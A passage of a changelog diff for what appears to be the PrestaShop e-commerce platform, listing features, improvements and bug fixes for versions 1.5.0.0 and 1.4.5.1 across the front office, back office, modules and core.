ParentOrderController::_setDefaultCarrierSelection() method + [-] FO : BugFix - Ajax error on editing address durring ordering process + [-] FO : Notice if blocknewsletter has been removed + [-] FO : Notice undefined tax_rate + [-] FO : Order history does not display order details + [-] FO : Removed deprecated function Tax::getProductTaxRate + [-] FO : TaxRulesTaxManager cache not refreshed + [-] FO : URL for page "Forgot your password" is not correct + [-] FO : Undefined method getOutOfStock + [-] FO : Undefined variable price + [-] FO : add to cart broken TaxCalculator::getTaxesRate => getTotalRate + [-] FO : ajax request to send message in order detail now use index.php?controller=order-detail + [-] FO : fixed bug on Feature detachable with product pack feature + [-] FO : fixed bug on Manufacturer and Supplier controller, missing variable + [-] FO : fixed small js error + [-] FO : not check if context employee exist + + [-] BO : #PSFV-66 - Bad warnings "Currency not set" + [-] BO : AdminModule Addons Icon now appear in AutoComplete Search + [-] BO : AdminModules - Fix on GetModulesOnDisk and general ergonomy + [-] BO : AdminModules fix on Addons Connection + [-] BO : BugFix - Not possible to save a carrier + [-] BO : Error JS in TinyMce Plugin + [-] BO : Fixed bug in __construct() related to context + [-] BO : John Doe cart's address are incorrect! + [-] BO : Load customer and cart in AdminOrderController init to fix a bug with CancelProduct + [-] BO : Missing add one after another type in admintaxrulesgroup + [-] BO : Partial refund - part 4 + [-] BO : fixed ajax file-upload request + [-] BO : fixed bug in method displayDate() to the class Tools + [-] BO : fixed bug with Search:indexation when editing product (id_shop was missing) + [-] BO : now you can really delete image in BO + [-] BO : removing the call to the property _listSkipDelete + + [-] Classes : Fixed bug on Feature detachables and Customizations + [-] Classes : fix bug PSCFI-3367 - incorrect admin rights for created image folders + [-] Classes : fix dispatcher for FO + [-] Classes : fixed bug with displayAsDeprecated functions when not called from a class + [-] Classes : fixed image folders rights + [-] Classes : fixed small bug on CCC + [-] Classes : fixed sql error on Combination class + + [-] MO : Duplicate condition + [-] MO : FavoriteProducts - Fixed link + [-] MO : FavoriteProducts - now adds/removes correctly products + [-] MO : Fix potential bug on carts for module Ogone + [-] MO : Fixed bug PSCFI-3940 + [-] MO : Fixed productsComparison + [-] MO : HomeSlider + [-] MO : HomeSlider + [-] MO : HomeSlider - Added PS_USE_SQL_SLAVE + [-] MO : Replace ps_ by _DB_PREFIX_ + [-] MO : TNT Carrier (1.1) + [-] MO : TNT Carrier (1.2) + [-] MO : Tnt Carrier (1.2.1) - Small fix + [-] MO : fixed FATAL error on layered navigation module + [-] MO : productComments - Fixed deprecated function + [-] MO : productComments - Fixed guest comments + [-] MO : productComments fixed + [-] MO : statsnewsletter - SQL error + [-] MO : stock : error declaration interface + + [-] WS : Move classes to /webservice + + [-] PDF : TCPDF cache directory is now in PS_CACHE_DIR + + [-] LO : Incorrect tax for Newfoundland + [-] LO : Undefined field description + + Deprecated methods: + + [~] FO : usage of $customizedDatas var in order-detail.tpl is now deprecated use $product.customizedDatas + + [~] Deprecated : All method related to CCC has been moved in class Media + + +#################################### +# v1.5.0.0 - 7536 (2011-07-06) # +#################################### + + Added Features: + + [+] Project : new feature, multi-shop + + [+] FO : add dispatcher + + +#################################### +# v1.4.5.1 - 9352 (2011-10-14) # +#################################### + + Added Features: + + [+] FO : CC-87 - Possibility to restrict countries in FO by those delivered by active carriers + [+] FO : add SEO link on layer navigation module + + [+] BO : #PSCFI-3094 - now AdminTranslations also check PDF overriding + [+] BO : Upgrader new function to check prestashop files versions + [+] BO : added sample csv file for import //thanks to tony ;) + + [+] MO : autoupgrade - Added some infos (changelog, display download link) + [+] MO : new module autoupgrade, to replace native tab. Standalone version. + + Improved/changed features: + + [*] Project : BugFix #PSCFI-3539 - the Language class now implements 2 new properties : date_format_full and date_format_lite. Date formats are not hard coded anymore! + [*] Project : Fixed Bug #PSCFI-3100, 'description', and 'short_description' are now processed after the foreach loop. + + [*] Installer : Added missing translated texts + [*] Installer : Removed the "PRIMARY KEY `name`" on db.sql to have the SQL documention compatibility. + [*] Installer : Removed the "PRIMARY KEY `name`" on db.sql to have the SQL documention compatibility. + [*] Installer : Removed the "PRIMARY KEY `name`" on db.sql to have the SQL documention compatibility. + [*] Installer : Removed the "PRIMARY KEY `name`" on db.sql to have the SQL documention compatibility. + [*] Installer : gridextjs deprecated module is now moved relatively to _PS_ROOT_DIR_ or _PS_MODULE_DIR_ if exists + [*] Installer : include, include_once, require replaced by require_once + + [*] FO : #PSCFI-2505 - The title of Categories and Manufacturers pages now includes the page number + [*] FO : Added a new benefits related to the customer account creation + [*] FO : Added several tests for the Guest tracking section (e-mail validity, required fields...) + [*] FO : CC-93 - Review of the compare product system. Remove center tag + [*] FO : Clean code in class Cart, in shipping calculation + [*] FO : Improved English wording for the Guest tracking section + [*] FO : Updated French translations + [*] FO : layered - update URL SEO pagination + + [*] BO : "Send test mail" now return the error message instead of just telling you that something went wrong + [*] BO : #PSCFI-2509 - You can know import and update products based on their references + [*] BO : #PSCFI-2902 - Added url to update currency rates via crontab + [*] BO : #PSCFI-3098 - Renaming admin folder is false sense of security + [*] BO : #PSCFI-3098 - Renaming admin folder is false sense of security + [*] BO : CC-48 - Possibility to delete "pages not found" on the current search period + [*] BO : Check customized image in AdminCarts->displayCustomizedDatas() - #PSCFI-3572 + [*] BO : Debug is now easier in hook backOfficeTop + [*] BO : Default product short description max length is now 800 (instead of 400) + [*] BO : Fixed PSCFI-3223, removed superfluous parameters in links on AdminModules + [*] BO : Improvment #PSCFI-2796 - It is now possible to set the maximum size of product short description + [*] BO : Remove warning in robots.txt #PSCFI-2846 + [*] BO : SQL queries + [*] BO : Updated French translations + [*] BO : XB-1 - Limitation for the preference "maximum size of attachment files" + [*] BO : You can now use 8 decimals for the longitude/latitude in the Store locator + [*] BO : added md5, changelog and desc data in Upgrader class + [*] BO : it is now possible to move images to the new filesystem when unused demo images are present + [*] BO : new entity in versions.xml - autoupgrade_module + [*] BO : now a modules file can be ignored by the AdminTranslations tab if speficied in it + [*] BO : on loading of modules (AdminModule), we check the memory usage in order to prevent php error message + [*] BO : quantity highlighted in the order details when greater than 1 + [*] BO : removing tab AdminUpgrade from 1.4.4.0/1.4.4.1, changing to module autoupgrade + [*] BO : small improvement in Upgrader class + [*] BO : when adding new AdminTab, cache is now refreshed in Tab::add() method + [*] BO : you can now search a customer by its IP address in the backend + [*] BO : you can now search a product by its attribute reference in the backend + + [*] Classes : Use default image quality if no quality setting can be found + + [*] CORE : Updated PEAR XML_Feed_Parser library (v1.0.2 to v1.0.4) + [*] Core : Now force_compile (Smarty) is set to false by default, even on SVN + + [*] MO : Block layered - Add backward / forward navigation + [*] MO : Block layered - Add french translation + [*] MO : Block layered - Add meta title & url personalisation for attributes and features values + [*] MO : Block layered - Add meta title & url personalisation for attributes groups and features + [*] MO : Block layered - Hide filters if nothing to select on it. + [*] MO : Block layered - Prevent Bug when product-count.tpl do not exists + [*] MO : Block layered - Re-index attributes after saving product - Re-write indexUrl() - Normalization - Add comments + [*] MO : Block layered - Remode pagination title with "page" and re-use "(2)", because it's not possible to translate easily the word "page" (no $this->l()) + [*] MO : Block layered - Remove unused variable + [*] MO : BlockLayered - Adding price filter // /!\ Caution : this module is not finalised - some functions are in developpement and do not work + [*] MO : Blocklayered - Slide to the top of the page on loading new product page + [*] MO : BugFix #PSCFI-3281 - Hipay now uses the language code instead of the iso code if it is available + [*] MO : Fix and improvment Module eBay (1.2.4) + [*] MO : Fix and improvment Module eBay (1.2.5) + modules translations + [*] MO : Fixed Bug #PSCFI-3074, Writing distinct images product on sitemap (gsitemap) + [*] MO : Improvment on XML generation Module Treepodia 1.4 + [*] MO : Module Authorize.net (1.2.2) - a warning now appears when cURL is not enabled + [*] MO : Module UPS (1.2.2), USPS (1.2.1), Fedex (1.2.4), Canada Post (0.5) work with Shipping Estimator module now (Bug Fixed #PSCFI-2976 and #PSCFI-3586) + [*] MO : Module eBay (1.3) now display warning alert during uninstall + set recyclable and gift to 0 when create a cart + [*] MO : Module eBay (1.3.1) - optimization and variable description_short available in eBay template + [*] MO : Module eBay 1.2 + [*] MO : Module eBay 1.2.2 + [*] MO : Module eBay now delete cart when order can not be created (1.2.6) + [*] MO : Performance improvements for layered navigation module + [*] MO : Product Comment - Bug on product comparison page // Vars undefined + [*] MO : Review of the productcomments module - Part1 + [*] MO : autoupgrade - improved ergonomy, thanks a lot to Samy Rabih (from o2sources.com) for his feedback + [*] MO : autoupgrade - Improved Upgrader class from module + [*] MO : mailalerts, add translation for your@mail.com + [*] MO : mailalerts, add translation for your@mail.com + + [*] PDF : Free text on the invoice + + [*] LO : CA.xml currency's name + [*] LO : Canada - Currency name + symbol + [*] LO : Canada taxes + + Fixed bugs: + + [-] PROJECT : Bug #PSCFI-3563 Fixed - currency conversion was not made on product Additionnal Shipping Cost + [-] PROJECT : Class Tools - Adding default time out in Tools::file_get_content + [-] PROJECT : Class Validate updated + + [-] Installer : English language is back + [-] Installer : fixed bug #PSCFI-2958 - Step 4 in installation fails on allow_url_fopen warning + [-] Installer : fixed position in Tools subtabs + + [-] FO : #PSCFI-2702 - Fixed problem with ajax on ssl page with a domain from non-ssl domain + [-] FO : #PSCFI-2702 - Fixed problem with ajax on ssl page with a domain from non-ssl domain + [-] FO : #PSCFI-3000 - SSL enabled redirect loop for admin login V1.4.3 + [-] FO : #PSCFI-3111 - remove literal + [-] FO : #PSCFI-3184 - Unable to reorder if order contains customized products + [-] FO : #PSCFI-3201 - Can't install by Vietnam lang + [-] FO : #PSCFI-3215 - ProductDownload -> delete() function dosn't return value ! + [-] FO : #PSCFI-3218 - The lowest shipping cost carrier is not selected by default + [-] FO : #PSCFI-PSCFI-3234 - Guest tracking and friendly-url + [-] FO : Added spaces surrounding the minimal quantity to buy on the product page + [-] FO : Bug Fixed #PSCFI-3005 - Unitialized variable cart_quantity + [-] FO : Bug Fixed #PSCFI-3193 - Rounding of product prices on percent discount + [-] FO : BugFix #PSCFI-2677 - Combinations of products in the Layered navigation block appear as "unavailable" + [-] FO : BugFix #PSCFI-2790 - Manufacturer page CSS bug in Internet Explorer 6 + [-] FO : BugFix #PSCFI-2790 - Problems with IE6 and manufacturer + [-] FO : BugFix #PSCFI-2802 - Layered navigation block lock ajax cart adding + [-] FO : BugFix #PSCFI-2811 - Automatically redirect to Canonical url enable every time evant if "Automatically redirect to Canonical url" is at "no" + [-] FO : BugFix #PSCFI-2871 - "Notify me when available" should not appear when stock management is disabled + [-] FO : BugFix #PSCFI-2871 - "Notify me when available" should not appear when stock management is disabled + [-] FO : BugFix #PSCFI-2961 - On changing iso code, move translation language + [-] FO : BugFix #PSCFI-2961 - On changing iso code, move translation language + [-] FO : BugFix #PSCFI-2961 - On changing iso code, move translation language + [-] FO : BugFix #PSCFI-2993 - mails french language reply_msg.txt is empty + [-] FO : BugFix #PSCFI-3184 - Unable to reorder if order contains customized products + [-] FO : BugFix #PSCFI-3231 - Dont ask shipping address if there is only virtual product + [-] FO : BugFix #PSCFI-3413 - Voucher (Discount) kept while invalid in the order + [-] FO : BugFix #PSCFI-3438 - Carrier list is not checked after updating shopping cart at OPC + [-] FO : BugFix #PSCFI-3468 - Bad customizations found in Cart::getProducts + [-] FO : BugFix PSCFI-3425 - Product override not working as expected + [-] FO : Deleted an extraneous slash for the path of blockstore.css + [-] FO : Display tax label turned off for USA + [-] FO : Fix some code standards + [-] FO : Fixed #PSCFI-2494 - Now when you logout and are redirected to home page, its no more https. + [-] FO : Fixed #PSCFI-2791 - Address (Line 2) field is hidden in Instant Checkout + [-] FO : Fixed #PSCFI-2914 - when a category has a name starting with a number, rewriteRules now works properly + [-] FO : Fixed #PSCFI-3714 - now pagination is correct when changing default products per page + [-] FO : Fixed a bug w/ legend on product cover image (product page) + [-] FO : Fixed bug #PSCFI-2864 - State is hardcoded after country + [-] FO : Fixed bug #PSCFI-3639 - Pagination error in search.php when called from 404.php + [-] FO : Fixed bug PSCFI-3125 - Guest Order Tracking not working + [-] FO : Fixed bug PSCFI-3286 - After order no customer or owner email sent + [-] FO : Fixed bug PSCFI-3404 - Invalid Token on Address Modify + [-] FO : Fixed bug PSCFI-3549 - Product attribute desc. were incomplete in order conf. e-mail + [-] FO : PSCFI-3655 - canonical redirection now only works with GET method, not POST (in order to avoid losing data) + [-] FO : Proof-reading of English translation (Full) + [-] FO : Proof-reading of Spanish translation for the Front Office + [-] FO : added the suffix "Core" to the class name "CompareProduct" + [-] FO : fix bug + [-] FO : fix bug where a logged guest who then logs in as a customer had an incorrect cart secure key + [-] FO : fixed bug #PSCFI-3054 - One page checkout and createAccountTop Hook + [-] FO : fixed bug #PSCFI-3402 - Bug in order-opc.js + [-] FO : fixed bug #PSCFI-3476 - Canceling Loading icon after Ajax errors + [-] FO : fixed bug on live edit when no module on page + [-] FO : fixed bug where the wrong carrier is selected when refreshing carriers in OPC + [-] FO : fixed bug with wrong link for guest tracking after making an order as guest + [-] FO : no more "back" button when the previous page is the same as the current one + [-] FO : now logo link use Link class in header.tpl + [-] FO : now order detail controller can be called directly + [-] FO : removed duplicated rewriterules + + [-] BO : #PSCFI-2642 - HTML format problem in module referral program + [-] BO : #PSCFI-2902 - Fixed wrong URL + [-] BO : #PSCFI-2922 - Fixed bugs in GroupReduction. Now, group_reduction and product_group_reduction tables are now populated/cleaned properly (CRUD Products/Category). + [-] BO : #PSCFI-2922 - Fixed bugs in GroupReduction. Products added in product_group_reduction are now based on the id_default_category. If a group is deleted, tables are now purged correctly. + [-] BO : #PSCFI-2963 - Fixed 'display_stores'. + [-] BO : #PSCFI-3022 - If layer navigation module is on, than comparator checkbox is hidden on product list. + [-] BO : #PSCFI-3022 - If layer navigation module is on, than comparator checkbox is hidden on product list. + [-] BO : #PSCFI-3034 - Return to home after use link ...en/content/category/1-home (blockcms) + [-] BO : #PSCFI-3034 - Return to home after use link ...en/content/category/1-home (blockcms) + [-] BO : #PSCFI-3044 - Search idexing dont work properly + [-] BO : #PSCFI-3071 - Memcached class bad SQL statement to add a server + [-] BO : #PSCFI-3129 - No big differences between editable selects and inputs editable + [-] BO : #PSCFI-3129 - No big differences between editable selects and inputs editable + [-] BO : #PSCFI-3133 - Remove unused variables + [-] BO : #PSCFI-3154 - Product comparison regression: "There is no product in the comparator" + [-] BO : #PSCFI-3163 - Using non-static method as static + [-] BO : #PSCFI-3166 - Manufacturer ajax error: parsererror + [-] BO : #PSCFI-3179 - Fixed wrong cast for coordinates + [-] BO : #PSCFI-3198 - Limit check theme to directory (avoid .htaccess/preview.jpg) + [-] BO : #PSCFI-3362 - coding style/security + [-] BO : #PSCFI-3362 - fixed wrong coding style + [-] BO : #PSCFI-3362 - level_depth is now correctly updated + [-] BO : #PSCFI-3389 - Change NOW() by date('Y-M-d H:i:s') + [-] BO : AdminUpgrade now checks if function apache_get_modules exists. + [-] BO : AdminUpgrade small fix + [-] BO : Bug Fixed #PSCFI-3453 - States of one country in different zone = unable to save tax rules + [-] BO : Bug Fixed #PSCFI-3652 - Can't set specific priority + [-] BO : BugFix #PSCFI-2802 - Layered navigation block does not appear on front office + [-] BO : BugFix #PSCFI-2863 - Update provider by import csv can flush the existing data + [-] BO : BugFix #PSCFI-2863 - Update provider by import csv can flush the existing data + [-] BO : BugFix #PSCFI-2863 - Update provider by import csv can flush the existing data + [-] BO : BugFix #PSCFI-2863 - Update provider by import csv can flush the existing data + [-] BO : BugFix #PSCFI-2877 - Wrong text in admin/tabs/AdminImport.php + [-] BO : BugFix #PSCFI-2877 - Wrong text in admin/tabs/AdminImport.php + [-] BO : BugFix #PSCFI-2892 - Problems with htmlentities and currency + [-] BO : BugFix #PSCFI-2893 - Product::getProductsProperties must check input value to avoid warnings. + [-] BO : BugFix #PSCFI-2898 + #PSCFI-2872 - Problem in a CSS + [-] BO : BugFix #PSCFI-2898 - Send to a friend, remove unuseful code + [-] BO : BugFix #PSCFI-2936 - Can't filter to installed modules to configure mailalert + [-] BO : BugFix #PSCFI-3029 - AdminAddresses + [-] BO : BugFix #PSCFI-3618 - Wrong default group for the cusomers with default group = deleted group + [-] BO : BugFix - JS selectedCat not defined in category tree + [-] BO : BugFix - remove an undefinned function + [-] BO : Bugfix #PSCFI-2438 - On using ajax, we never redirect to an other URL + [-] BO : Bugfix #PSCFI-2821 - Remove a french sentence + [-] BO : Bugfix #PSCFI-2826 - Paypal template missing code + [-] BO : Bugfix #PSCFI-2838 - Problem with friendly URL + [-] BO : Check if js is present + [-] BO : Counties - Fixed broken Query (County filter) + [-] BO : Deleted some debug related to "mailalerts" module in the "Modules" tab + [-] BO : Fixed #PSCFI-2501 - now missing spaces between parameters is not so important anymore when parsing files for translations + [-] BO : Fixed #PSCFI-2805 - Searching by name on AdminStore panel generate SQL error + [-] BO : Fixed #PSCFI-3030 + [-] BO : Fixed #PSCFI-3439 - eval() call, thanks a lot to Alexandre Segura for this fix/improvement + [-] BO : Fixed Bug #PSCFI-3013, Add the upgrader permission line on sql installation script and remove warning on Employes tab if a permission does not exist. + [-] BO : Fixed a bug related to cart customized products in AdminCarts.php + [-] BO : Fixed bug #PSCFI-2809 - Typo in mails + [-] BO : Fixed bug #PSCFI-2822 - Submenu display problem when too many tabs + [-] BO : Fixed bug #PSCFI-2875 - Parenthesis missing + [-] BO : Fixed bug #PSCFI-3565 - Error "Bad size" while deleting an acessory from the product tab + [-] BO : Fixed bug #PSCFI-3592 - Forbid to disable the default carrier + [-] BO : Fixed bug PSCFI-2807 - Missing Log_alert e-mail templates in translations export + [-] BO : Fixed bug PSCFI-3378 - Kiribati island isn't located in Europe + [-] BO : Fixed bug PSCFI-3547 - Fatal Error on AdminOrder sorting (on "date_add" key) + [-] BO : Fixed bug PSCFI-3658 - Can't delete store image + [-] BO : Fixed bug when duplicating products + [-] BO : Fixed bugs in AdminTranslations : regex for subjectMail, correct error message + [-] BO : Fixed some code standards + [-] BO : Import - #PSCFI-2766 : Fixed wrong productCategories + [-] BO : Product Downloadable - Not possible to save a product downloadable if no expiration date + [-] BO : Proof-reading of English translation (from AdminAccess.php to AdminImages.php) + [-] BO : Proof-reading of English translation (from AdminImages.php to AdminInvoices.php) + [-] BO : Proof-reading of English translation (from AdminInvoices.php to the last file) + [-] BO : Proof-reading of Spanish translation for the Back Office + [-] BO : bug fix: Group Reduction in category that is not an integer or a percentage + [-] BO : error message "The following module(s) were not installed successfully" can now be translated + [-] BO : fix bug #PSCFI-2814 - If we add a new product in "this category" ==> result always Home in product + [-] BO : fix issue on attribute names with \n and \r characters + [-] BO : fixed bug #PSCFI-1935 - Function Category::getCategories stop respond in shop with many categories (100k and more) + [-] BO : fixed bug #PSCFI-2933 - Searchcron don't work like it should. + [-] BO : fixed bug #PSCFI-2967 - /lang-en/ instead of /en/ in robots.txt file + [-] BO : fixed bug #PSCFI-3009 - If we add a new subcategory in "this category" ==> result always in Home and not in "this category" + [-] BO : fixed bug #PSCFI-3491 - Import combinations with images: duplicate images + [-] BO : fixed bug #PSCFI-3566 - When space in url of image, im,age will not appear via csv import. + [-] BO : fixed bug #PSCFI-3577 - The categorie tree is not displayed correctly + [-] BO : fixed bug #PSCFI-3581 - Welcome video in back-office keeps appearing + [-] BO : fixed bug #PSCFI-3704 - Post install delete *.txt files prompt is unnecessary + [-] BO : fixed bug #PSCFI-3704 - Post install delete *.txt files prompt is unnecessary //bis + [-] BO : fixed bug #PSCFI-3712 - Order history cache shared between orders + [-] BO : fixed bug #PSCFI-3728 - Module ImporterOsc - importing product combination + [-] BO : fixed bug on adminAttributesGroups, now you can delete texture + [-] BO : fixed bug on creation of address + [-] BO : fixed bug when add new root category, id_parent was not home + [-] BO : fixed little issue in treeview for categories + [-] BO : if db is corrupted in tab.position, new Tab object will have a correct position + [-] BO : modules_list.xml is now uploaded by ajax, back-office will not be slowed by this external call + [-] BO : product indexation does not exhaust memory anymore when you have a (really) big catalog + [-] BO : removed fsockopen(www.prestashop.com) before the button "add module from addons" + + [-] Classes : fix bug #PSCFI-3294 - storing accented words in search index cause problems => store words without accents + [-] Classes : fixed bug #PSCFI-2934 - wrong description for all languages when using a voucher and creating a new one + missing infos on customer e-mail. + [-] Classes : fixed bug #PSCFI-3123 - Possible SQL error in Product::idIsOnCategoryId + [-] Classes : fixed bug #PSCFI-3162 - Not all previous data was deleted when importing combinations. + [-] Classes : fixed bug in ObjectModel when instanciate new object with incorrect id_lang + [-] Classes : replace define for getCarriers filter by const var in Carrier class + [-] Classes : update error message + + [-] Core : Added "@" to stream_context_create() calls to prevent from PHP notices + [-] Core : Added missing text templates for 4 e-mails in Spanish + [-] Core : Fixed bug #PSCFI-3638 - New tax rate in Italy (21% instead of 20%) + [-] Core : Fixed bug - You can now use 6 decimals for your shipping cost instead of 2 + [-] Core : Fixed bug PSCFI-3447 - Out of stock status was applied even if stock management was disabled + [-] Core : Fixed bug PSCFI-3480 - Error w/ cache if permissions are not valid + [-] Core : Fixed bug PSCFI-3503 - Sometimes HTTP_HOST was empty + [-] Core : Fixed bug PSCFI-3538 - PNG logo was rejected for Invoices + [-] Core : Fixed bug PSCFI-3605 - Deleted dead code in Search.php + [-] Core : Proof-reading of English translation for Errors and E-mails subjects + [-] Core : Proof-reading of Spanish translation for the Errors + + [-] MO : #PSCFI-2973 - Fixed wrong emailType in bestCustomer() + [-] MO : #PSCFI-2976 - ShippingEstimation (carriercompare) Error messages are more explicit + [-] MO : #PSCFI-3025 - 'Powered By' option is now saved correctly + [-] MO : #PSCFI-3039 - Birthdaypresent coupons id_currency are now set to id_default_currency + [-] MO : #PSCFI-3067 - Fixed number of friends sponsored + [-] MO : #PSCFI-3067 Fixed line break missing + [-] MO : #PSCFI-3244 Ogone, Add and update configuration screenshots + [-] MO : Authorize.net (1.2.1) and Treepodia (1.6.1) - retrocompatibility issue with PrestaShop 1.4.4 or less + [-] MO : AutoUpgrade - Disallow upgrade if "Autoupgrade allowed" is false + [-] MO : Block layered - Add where clause in "features" SQL request to filter by id_feature + [-] MO : Block layered - Bug JS when ajaxCart is disable + [-] MO : Block layered - Bug in pagination + [-] MO : Block layered - Bug with filter attribute + [-] MO : Block layered - BugFix : Be sure there is no other conditions than the three defined + [-] MO : Block layered - BugFix : Table *_lang must be renamed without this prefix + [-] MO : Block layered - BugFix filter remove link do not work + [-] MO : Block layered - BugFix with navigation history + [-] MO : Block layered - BugFix with pagination and title + [-] MO : Block layered - Clean js url (anchor) + [-] MO : Block layered - Duplicate "UL" on ajax reloading + [-] MO : Block layered - Installation failed with big amount of products (duplicate key problem) + [-] MO : Block layered - Installation with version under PS 1.4.5 musn't work + [-] MO : Block layered - Lock indexation durring instalation process if too many products + [-] MO : Block layered - Protect JS string by add slashes + [-] MO : Block layered - add addslashes and fix error javascript + [-] MO : Blocklayered - BugFix - Category tree + [-] MO : Blocklayered - FixBug with filter active + [-] MO : Blocklayered: Fix some problem with price and tax + [-] MO : Bug Fix #PSCFI-3213 - CashOnDelivery - retrocompatibility PrestaShop 1.4.3 or less + [-] MO : Bug Fixed #PSCFI-3193 in productscategory: Rounding of product prices not correct with reduction percent + [-] MO : Bug fixed #PSCFI-2291 - eBay fix on hook new order + [-] MO : Bug fixed #PSCFI-2804, Authorize.net test mode has been repaired + [-] MO : Bug fixed #PSCFI-2920 - USPS, UPS, Fedex and Canada Post, minimal weight + [-] MO : Bug fixed #PSCFI-3001 and #PSCFI-3002, PayPal refund has been fixed + [-] MO : Bug fixed #PSCFI-3479 - UPS Module (1.2.1) + [-] MO : Bug fixed on PayPal (rounding issue with tax system) + [-] MO : Bug fixed on fedex (1.2.2) - module was not returning any carrier when there was a soap exception + [-] MO : Bug fixed on fedex (1.2.3) - module was not returning any carrier when there was a fedex warning + [-] MO : BugFix #PSCFI-2898 - SentoaFriend module doesn't translate its text changing the flags from FO + [-] MO : BugFix #PSCFI-2909 - CSS attribute repeated twice + [-] MO : BugFix #PSCFI-3694 - Blocklayered: issue after modifying a filter + [-] MO : BugFix Block Layered navigation - Template BO category selector + [-] MO : BugFix in module blocklayered - Bug with feature count + [-] MO : BugFix in module blocklayered - Problemes with filters + [-] MO : BugFix in module blocklayered - add "no products" warning, don't show block layered if there is no filters to show + [-] MO : CashTicket, Fix an included tpl file + [-] MO : CashTicket. configuration verify if an existing certficate exist and add error messages + [-] MO : Dibs - Add french subscribtion link + [-] MO : Dibs - retrocompatibility PrestaShop 1.4.3 or less + [-] MO : First fix of block layered + [-] MO : Fix CashTicket, Authorize.net, Ogone, PaySafeCard and Gcheckout - retrocompatibility PrestaShop 1.4.3 or less + [-] MO : Fix Module PayPal - Preactivation warning is now retrieved in AdminHome + [-] MO : Fix Module Paypal (1.8.2) for invalid order state error + [-] MO : Fix Module USPS (1.2) #PSCFI-3189 + Some ergonomy improvments, thx to Jeff :) + [-] MO : Fix Module eBay (1.2.8) : get attribute details when import and order + [-] MO : Fix Module eBay (1.2.9) : sometimes eBay send back name longer than 32 char + [-] MO : Fix Module eBay 1.2 (retro compatibility) + [-] MO : Fix Module eBay 1.2 - Module can now retrieve order details by sku or custom label + [-] MO : Fix Module eBay 1.2 - Now handle case where there is no quantity available when importing orders + [-] MO : Fix Module eBay 1.2 - Now remove from eBay product when quantity is 0 + [-] MO : Fix Mondial Relay - retrocompatibility Smarty 2 (Thx Theo ;) + [-] MO : Fix MoneyBookers - retrocompatibility PrestaShop 1.4.3 or less + [-] MO : Fix PaySafeCard - Fatal error, wrong class called + [-] MO : Fix Treepodia for retrocompatibility PrestaShop 1.3 + [-] MO : Fix a SQL syntaxe error (missing "`" at the end of table name). + [-] MO : Fix installer (preactivation country) + [-] MO : Fix on Module Fedex (1.2) + [-] MO : Fix on Module Trusted Shop (1.3.1) + [-] MO : Fix on module PayPal (2.8.1) - Shop logo was not sent to PayPal Integration Evolution + [-] MO : Fix on module eBay (1.2.3) + [-] MO : Fix on module eKomi (1.1) - Display flag was always setting to off in back office + [-] MO : Fix potential bug on carts for module Ogone + [-] MO : Fix style issue for personalized theme + [-] MO : Fix style issue mondialrelay + [-] MO : Fixed a PHP comment typo / include missing (Layered navigation module) + [-] MO : Fixed bug #PSCFI-2849 - Subject Line Mailalerts new_order email is not translated + [-] MO : Fixed bug #PSCFI-2996 - Update list of online visitors works (statslive). + [-] MO : Fixed bug #PSCFI-3620 - Incorrect voucher e-mail to sponsored for % + [-] MO : Fixed bug PSCFI-2899 - {rating_url} was missing in German e-mail template + [-] MO : Fixed bug PSCFI-3210 - Fatal error (Order -> conversion_rate is empty) during OsC import + [-] MO : Fixed bug PSCFI-3416 - Fatal error in blockrss module when rss feed is malformed + [-] MO : Fixed bug PSCFI-3449 - Replaced PAYPAL_MODE_DEBUG by PAYPAL_DEBUG_MODE + [-] MO : Fixed bug PSCFI-3532 - Send To Friend module - Issues w/ product name + [-] MO : Fixed bug PSCFI-3580 - The bookmark link wasn't displayed in Google Chrome + [-] MO : Fixed code standards on layered navigation module + [-] MO : Fixed several bugs and code standards on the layered navigation module + [-] MO : Fixed several bugs on the layered navigation module + [-] MO : Module Moneybookers (1.6.1) - Small fixes + [-] MO : Module Shipping Estimator (1.1) : Bug Fixed #PSCFI-3586 + [-] MO : Module eBay (1.3.1) - fix on PS 1.3 (problem with pictures and server cache) + [-] MO : Module fedex has been fixed (beta link was in the wsdl) + [-] MO : MondialRelay : Fix the display of the fetched relay points + [-] MO : MondialRelay : Recode of the checkout Process + [-] MO : MondialRelay, Fix accent problem during the checkout process and add translation + [-] MO : MondialRelay, Fix bqSQL compatibility + [-] MO : MondialRelay, Fix bug when changing information about a shipping, Fix French translation + [-] MO : MondialRelay, Fix phone validation and language destination during the generating tickers process + [-] MO : MondialRelay, Fix unselected relay point for the checkout process + [-] MO : MondialRelay, Handle error when address is incorrect durint the fetched relay point process. Review config style. + [-] MO : MondialRelay, add comment to a better understanding of the ('body').prepend + [-] MO : MondialRelay, delete console.log :) + [-] MO : MondialRelay, rewrite code for PrestaShop 1.3 to keep compatibility using jQuery + [-] MO : MondialRelay, skip the zipcode checking when the format isn't set + [-] MO : Mondialrelay, Fix an added Gmap element into a undeclared id block for some PrestaShop version. + [-] MO : Mondialrelay, add translation fields + [-] MO : Mondialrelay, fix missing iconv function + [-] MO : Moneybookers, text and url into the config + [-] MO : Ogone fix - class_exists with autoload was making trouble on PrestaShop.1.3 + [-] MO : PaySafeCard, Fix conflict with PrepaidServices when cashticket is loaded too, add new errors message and configuration remember correctly the configuration set by an user + [-] MO : PaysafeCard, hide password + [-] MO : Prevent from a PHP warning in productcomments + [-] MO : Remove Tm4b module + [-] MO : Retrocompatibility 1.3 on modules keeping security check + [-] MO : Treepodia, retrocompatibility to PrestaShop 1.3 + [-] MO : autoupgrade - Fixed #PSCFI-3702 - english expressions fix + [-] MO : autoupgrade - fixed bug when restoring, thanks to Broceliande + [-] MO : autoupgrade : Fixed bug when upgrading database. Thanks a lots to Atch and Nommam- for betatesting + [-] MO : blocklanguages - Fixed method call + [-] MO : eBay (1.2.1) fix - module was making duplicate order and address customer + [-] MO : fix autoupgrade install when 1.4.4.0 + [-] MO : fix issue on followup module, subjects of mail are not translated + [-] MO : fixed bug #PSCFI-2940 - Oscommerce import - TECHNICAL ERROR Details: Fatal error (Customer -> passwd = + [-] MO : fixed bug #PSCFI-2997 - duplicates manufacturers when delete is checked + [-] MO : fixed bug #PSCFI-3090 - in gsitemap.xml, product lines are duplicated + [-] MO : fixed bug #PSCFI-3253 - Cannot set time limit in safe mode in themeinstallator.php + [-] MO : fixed bug #PSCFI-3255 - productscategory generates link to product with ID=0 + [-] MO : fixed bug #PSCFI-3300 - So colissimo : when customer change delivery mode + [-] MO : fixed bug with module dateofdelivery not taking into account additional time for out of stock products + [-] MO : fixed extra if/else condition in editorial module, thanks to Atch + [-] MO : fixed gift bug when socolissimo is selected + [-] MO : fixed small bug in shopImport + [-] MO : moneybookers remove an incorrect char in a sentence + [-] MO : 